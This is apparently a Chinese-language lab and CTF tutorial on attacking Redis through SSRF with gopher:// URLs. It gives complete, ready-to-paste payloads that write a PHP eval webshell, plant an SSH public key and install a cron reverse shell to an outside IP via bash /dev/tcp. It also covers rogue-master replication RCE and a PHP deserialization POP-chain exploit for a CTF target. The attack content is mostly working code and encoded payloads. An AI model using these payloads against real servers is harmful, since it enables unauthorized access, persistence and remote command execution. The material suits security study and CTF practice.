实验环境:kali+nginx+fpm; 提前安装redis(低于7版本才行,高于7的版本config set dir之类会报错);安装php_curl扩展;

向Web目录中写webshell

创建一个test.php;内容如下,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);
highlight_file(__FILE__);

$url=$_POST['url'];

if (preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}else{
echo "ssrf redis!";
}

?>

payload我已经分为了四步;保证前一步执行成功(会返回+OK之类的字样)后;再去执行后一步;(失败会返回”ERR“)

1
2
3
4
config set dir /var/www/html
quit

gopher%3A%2F%2F127.0.0.1%3A6379%2F_config%2520set%2520dir%2520%252Fvar%252Fwww%252Fhtml%250D%250Aquit
1
2
3
4
config set dbfilename shell.php
quit

gopher%3A%2F%2F127.0.0.1%3A6379%2F_config%2520set%2520dbfilename%2520shell.php%250D%250Aquit
1
2
3
4
set payload "<?php eval(\$_POST[1]);?>"
quit

gopher%3A%2F%2F127.0.0.1%3A6379%2F_set%2520payload%2520%2522%253C%253Fphp%2520eval(%255C%2524_POST%255B1%255D)%253B%253F%253E%2522%250D%250Aquit
1
2
3
4
save
quit

gopher%3A%2F%2F127.0.0.1%3A6379%2F_save%250D%250Aquit

执行成功后会发现/var/www/html目录下已经存在了shell.php;只不过除了我们的键值<?php eval($_POST[1]);?>还有其他一些东西,但是这并不影响php解析;但是这样会影响下一个方法(ssh写入公钥;但是也有办法处理这个问题);

1
2
3
cat shell.php
REDIS0006�payload▒<?php eval($_POST[1]);?>a
bbbbbbbbbb�&@v���

到这里实验就结束了,但是这个实验需要注意权限等问题;比如:

1,是否有权限向/var/www/html有写文件的操作;(默认的dir是/var/lib/redis)

2,如果有权限写入web目录,也要保证服务器有权限可以读我们写入的文件;

补充,这是将上面四步合成了一步,方便打比赛的时候直接用;(双重url编码了的)

1
gopher%3A%2F%2F127.0.0.1%3A6379%2F_config%2520set%2520dir%2520%252Fvar%252Fwww%252Fhtml%250D%250aconfig%2520set%2520dbfilename%2520shell.php%250D%250aset%2520payload%2520%2522%253C%253Fphp%2520eval(%255C%2524_POST%255B1%255D)%253B%253F%253E%2522%250D%250asave%250D%250aquit

写入ssh公钥

还是利用test.php

制作公私钥;会生成在当前用户的~/.ssh目录下

1
ssh-keygen -t rsa

payload我已经分为了四步;保证前一步执行成功(会返回+OK之类的字样)后;再去执行后一步;(失败会返回”ERR“)

第一步用换行的方式,保证公钥不会受其他字符影响

1
2
3
4
set publickey "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC8GVS1wwIfWVDLGsoXHntxx5BaVrx1QrG5J7i3ZpoOf6HEz+ExYOEzUb0tGA6R477caXicuqhAGP4F6rLX9tyUaV7IHuZM2ZZJqo+8oVe1QCQlaUqjwgJAGpCcNnqWet/GFLfTJdDb57GgLLuA+ra5yDwkCuUzayB3We2cyUPqm2sbDIlIz0Nt3JLVNi9xa5SirFJ0iU2wzm+jsPT24/6jfvAbWWQHJTxNlglSogBSvNo6Cao3c9hbLxhmEiE1InNBOK8XBcAG739RZYRNKDOJLovvNiC2c47w5HrYAc7ge+eK1PM32bpVvNjBSNNrhkxnHiGCcHLOZnkxepKs3X0fmKzMxCRtCjr8YJEpbf8nSbMY1IxoSZz6RUnP4K/J6nfPt9NV8gog6lT2K5S71MNSvT96shVut0C8UDc+dQzv2tl6SzOy9rOeHhlBDqQEm0FKfP9EPucy4yLanULPIl4KqhexbHdz/uQ5UCUKR8Z/l3Vbmn2uM2Hs586O22EezNc= kali@kali\n\n\n"
quit

gopher%3A%2F%2F127.0.0.1%3A6379%2F_set%2520publickey%2520%2522%255Cn%255Cn%255Cnssh-rsa%2520AAAAB3NzaC1yc2EAAAADAQABAAABgQC8GVS1wwIfWVDLGsoXHntxx5BaVrx1QrG5J7i3ZpoOf6HEz%252BExYOEzUb0tGA6R477caXicuqhAGP4F6rLX9tyUaV7IHuZM2ZZJqo%252B8oVe1QCQlaUqjwgJAGpCcNnqWet%252FGFLfTJdDb57GgLLuA%252Bra5yDwkCuUzayB3We2cyUPqm2sbDIlIz0Nt3JLVNi9xa5SirFJ0iU2wzm%252BjsPT24%252F6jfvAbWWQHJTxNlglSogBSvNo6Cao3c9hbLxhmEiE1InNBOK8XBcAG739RZYRNKDOJLovvNiC2c47w5HrYAc7ge%252BeK1PM32bpVvNjBSNNrhkxnHiGCcHLOZnkxepKs3X0fmKzMxCRtCjr8YJEpbf8nSbMY1IxoSZz6RUnP4K%252FJ6nfPt9NV8gog6lT2K5S71MNSvT96shVut0C8UDc%252BdQzv2tl6SzOy9rOeHhlBDqQEm0FKfP9EPucy4yLanULPIl4KqhexbHdz%252FuQ5UCUKR8Z%252Fl3Vbmn2uM2Hs586O22EezNc%253D%2520kali%2540kali%255Cn%255Cn%255Cn%2522%250D%250Aquit

这里的目录更具情况而定,只有往某个用户的.ssh目录有写的权限就可以;当然要是有root权限就更好了;

1
2
3
4
config set dir /home/kali/.ssh/
quit

gopher%3A%2F%2F127.0.0.1%3A6379%2F_config%2520set%2520dir%2520%252Fhome%252Fkali%252F.ssh%252F%250D%250Aquit

这是ssh的规定,必须为authorized_keys文件名

1
2
3
config set dbfilename "authorized_keys"

gopher%3A%2F%2F127.0.0.1%3A6379%2F_config%2520set%2520dbfilename%2520%2522authorized_keys%2522%250D%250Aquit
1
2
3
4
save
quit

gopher%3A%2F%2F127.0.0.1%3A6379%2F_save%250D%250Aquit

最后用ssh连接即可

1
ssh -i id_rsa username@ip

到这里实验就结束了,但是这个实验需要注意权限和服务等问题;比如:

1,是否有权限向.ssh有写文件的操作;注意这里不一定非得是root用户;往往root用户的权限没这么容易拿到;如果能往普通用户的.ssh写入也是可行的;

2,需要靶机开启ssh服务,就是是22端口(可以用nmap探测)

定时任务

还是利用test.php

查看/var/spool/cron目录权限

1
drwxr-xr-x  3 root  root    4096 2023年 4月 5日 cron

这里的定时任务是在/var/spool/cron目录,而不是/etc/crontab文件

来自gpt: /var/spool/cron目录通常用于存储用户特定的定时任务(cron jobs)。在这个目录下,每个用户都有一个以其用户名命名的文件,用于存储该用户的定时任务。这些文件包含了用户设置的定时任务的详细信息,比如何时运行、运行的命令等。这些文件通常由cron守护进程读取,并按照预定的时间执行其中定义的命令。

大概就是下面四步;但是还是用工具来的快

1
2
3
4
5
set cron "\n\n* * * * * bash -i>& /dev/tcp/81.71.13.76/5555 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

1
/bin/bash -c 'bash -i >& /dev/tcp/81.71.13.76/5555 0>&1'

我是直接用的Gopherus工具

1
2
3
4
5
6
7
8
9
10
11
What do you want?? (ReverseShell/PHPShell): reverseshell

Give your IP Address to connect with victim through Revershell (default is 127.0.0.1): 81.71.13.76
What can be his Crontab Directory location
## For debugging(locally) you can use /var/lib/redis :

Your gopher link is ready to get Reverse Shell:

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2466%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/81.71.13.76/1234%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

Before sending request plz do `nc -lvp 1234`

到这里实验就结束了,但是这个实验需要注意权限等问题;比如:

1,需要有权限往/var/spool/cron目录写文件,这通常只用以root身份运行redis-server才有希望;

2,写入后的文件需要有可执行权限才可以执行(通常不会有可执行权限);

3, 需要靶机可以出网,才可以反弹shell;

主从复制

大概就是这几条命令

1
2
3
4
5
6
config set dir /tmp/
config set dbfilename exp.so
slaveof 81.71.13.76 6666
module load /tmp/exp.so
system.exec 'whoami'
quit

https://github.com/xmsec/redis-ssrf
https://github.com/n0b0dyCN/redis-rogue-server
要进行主从复制RCE,就需要利用到这两个工具,第一个用于生成payload,也可以启动恶意服务,第二个主要是exp.so。注意需要将第二个工具exp.so导入到第一个工具下,也就是和rogue-server.py同目录,这里先开启一下rogue-server.py 用于伪装为主redis,它开启的端口为6666

由于module命令是在Redis 4.0及更高版本中引入的,而我本地的redis版本太低,干脆用春秋杯网络安全联赛冬季赛中的ezezez_php来做实验;

访问靶机,index.php如下;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
<?php
highlight_file(__FILE__);
include "function.php";
class Rd
{
public $ending;
public $cl;

public $poc;

public function __destruct()
{
echo "All matters have concluded"."</br>";
}

public function __call($name, $arg)
{
foreach ($arg as $key => $value) {

if ($arg[0]['POC'] == "0.o") {
$this->cl->var1 = "get";
}
}
}
}

class Poc
{
public $payload;

public $fun;

public function __set($name, $value)
{
$this->payload = $name;
$this->fun = $value;
}

function getflag($paylaod)
{
echo "Have you genuinely accomplished what you set out to do?"."</br>";
file_get_contents($paylaod);
}
}

class Er
{
public $symbol;
public $Flag;

public function __construct()
{
$this->symbol = True;
}

public function __set($name, $value)
{
if (preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',base64_decode($this->Flag))){
$value($this->Flag);
}
else {
echo "NoNoNo,please you can look hint.php"."</br>";
}
}


}

class Ha
{
public $start;
public $start1;
public $start2;

public function __construct()
{
echo $this->start1 . "__construct" . "</br>";
}

public function __destruct()
{
if ($this->start2 === "o.0") {
$this->start1->Love($this->start);
echo "You are Good!"."</br>";
}
}
}

function get($url) {
$url=base64_decode($url);
var_dump($url);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
var_dump($result_info);
curl_close($ch);
var_dump($output);
}


if (isset($_POST['pop'])) {
$a = unserialize($_POST['pop']);
} else {
die("You are Silly goose!");
}

?>

You are Silly goose!
1
Ha(__destruct) => Rd(__call) => Er(__set) => get($url)

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class Rd
{
public $ending;
public $cl;
public $poc;
}
class Er
{
public $symbol;
public $Flag;
}
class Ha
{
public $start;
public $start1;
public $start2;
}
$a = new Ha;
$a->start2 = "o.0";
$b = new Rd;
$a->start1 = $b;
$a->start= array(
'POC' => '0.o'
);

$c = new Er;
$b ->cl = $c;
$c->Flag = '';


echo serialize($a);

payload我已经分为了六步;保证前一步执行成功(会返回+OK之类的字样)后;再去执行后一步;(失败会返回”ERR“)

1
2
3
4
5
6
config set dir /tmp/
quit

gopher://127.0.0.1:6379/_config%20set%20dir%20%2Ftmp%2F%0D%0Aquit
Z29waGVyOi8vMTI3LjAuMC4xOjYzNzkvX2NvbmZpZyUyMHNldCUyMGRpciUyMCUyRnRtcCUyRiUwRCUwQXF1aXQ=

1
2
3
4
config set dbfilename exp.so
quit

gopher://127.0.0.1:6379/_config%20set%20dbfilename%20exp.so%0D%0Aquit

执行这一步前,需要在vps上执行python2 rogue-server.py命令

1
2
3
4
slaveof 81.71.13.76 6666
quit

gopher://127.0.0.1:6379/_slaveof%2081.71.13.76%206666%0D%0Aquit
1
2
3
4
module load /tmp/exp.so
quit

gopher://127.0.0.1:6379/_module%20load%20%2Ftmp%2Fexp.so%0D%0Aquit

接下来就可以命令执行了

1
2
3
4
system.exec 'cat /proc/self/environ'
quit

gopher://127.0.0.1:6379/_system.exec%20'cat%20%2Fproc%2Fself%2Fenviron'%0D%0Aquit

也可以用这条命令反弹shell

1
2
system.rev 81.71.13.76 5656
quit

将上面的payload进行base64编码,并赋值给$c->Flag ;为了不出错,分六步打;payload大概是下面的样子,就是base64的内容会改一下

1
O:2:"Ha":3:{s:5:"start";a:1:{s:3:"POC";s:3:"0.o";}s:6:"start1";O:2:"Rd":3:{s:6:"ending";N;s:2:"cl";O:2:"Er":2:{s:6:"symbol";N;s:4:"Flag";s:88:"Z29waGVyOi8vMTI3LjAuMC4xOjYzNzkvX2NvbmZpZyUyMHNldCUyMGRpciUyMCUyRnRtcCUyRiUwRCUwQXF1aXQ=";}s:3:"poc";N;}s:6:"start2";s:3:"o.0";}

到这里实验就结束了,但是这个实验需要注意redis版本等问题;用主从赋值虽然麻烦,但是没有其他方法那么多限制,只需要注意一下redis的版本支持module等命令和可以连外网;